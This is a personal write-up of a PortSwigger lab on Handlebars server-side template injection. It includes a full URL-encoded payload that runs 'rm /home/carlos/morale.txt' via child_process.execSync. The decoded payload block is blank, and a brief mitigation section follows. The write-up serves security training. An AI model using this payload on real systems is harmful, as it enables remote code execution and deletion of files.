PortSwigger Academy Lab: Server-side template injection in an unknown language with a documented exploit

Jun Takemura · March 6, 2025

PortSwigger Academy Lab: Server-side template injection in an unknown language with a documented exploit

Task

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

Attempt

I started exploring the website and clicked the detail button but it gave an error mesagge ‘Unfortunately this product is out of stock’. I found this message was sent as a query, GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock. So this message would be sent to the server and get rendered on the client side too. So I tried this polyglot payload from PayloadsAllTheThings $%\..

It caused the server error and luckily a quite verbose error message was shown:

/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
            throw new Error(str);

This uses node.js and this handlebars module. So I looked for the javascript SSTI page on PayloadsAllTheThings.

The goal is to delete morale.txt file from Carlos’s home directory so the payload should include the OS command injection rm /home/carlos/morale.txt.

Modified payload:


  
    
      
      
      
      
        
        
        
        
          
            
          
        
      
    
  

URL encoded using Decoder:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Sent this as the argument of the message parameter and solved the lab.

Mitigation

Sanitizing user input is one of the easiest and most common way. Also you should limit a dangerous function, for example in this case execSync() and require().

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